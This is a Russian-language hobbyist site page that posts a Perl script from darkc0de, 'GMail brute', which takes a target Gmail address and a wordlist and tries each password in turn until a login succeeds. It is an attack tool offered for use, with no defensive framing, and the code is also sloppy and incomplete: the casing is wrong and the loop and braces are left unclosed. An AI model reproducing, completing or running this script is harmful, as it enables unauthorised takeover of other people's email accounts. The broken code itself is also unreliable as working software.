Понедельник, 21.05.2018, 02:16
Приветствую Вас Гость | RSS
Cyberbrain
Главная | Каталог статей | Регистрация | Вход
Форма входа
Логин:
Пароль:

Меню сайта
Категории каталога
Мои статьи [10]
Поиск
Друзья сайта
Наш опрос
Что нас ждет?
Всего ответов: 44
Статистика
Главная » Статьи » Мои статьи

GMail brute от www.darkc0de.com
#!/usr/bin/perl
# c0dex by m0x.lk
# pGmail .-
system ("color f0");
system ("clear");
system ("cls");
print "\tc0dex by m0x.lk\n";
print "\n";
print "\t\t BrGmail .- RE & HaSe * darkc0de\n";
print "\n";
use LWP::UserAgent;
use HTTP::Cookies;
use WWW::Gmail;
sleep 1;
print "Usuario: \tEj. user@gmail.com";
$usuario=<STDIN>;
print "\n\n";
print "Diccionario: ";
$dict=<STDIN>;
print "\n\n";
$i = 1;
open (D,"<$dict") or die "Diccionario no encontrado\n";
while(<D>)
{
$try = $_;
    chomp $try;

Print "[+]Bruteando...\n";

      my $obj = WWW::GMail->new(
            username => "$usuario",
            password => "$try",
            cookies => {
                    autosave => 1,
                    file => "./gmail.cookie",
            },
      );
 
      my $ret = $obj->login();
      if ($ret == -1) {
                print $i++ . ": Fallo - $try\n";
        }
        else {
                print "'$try - $i intentos";
                last;
Категория: Мои статьи | Добавил: dosintheshell (20.02.2009)
Просмотров: 672 | Рейтинг: 0.0/0 |
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Copyright MyCorp © 2018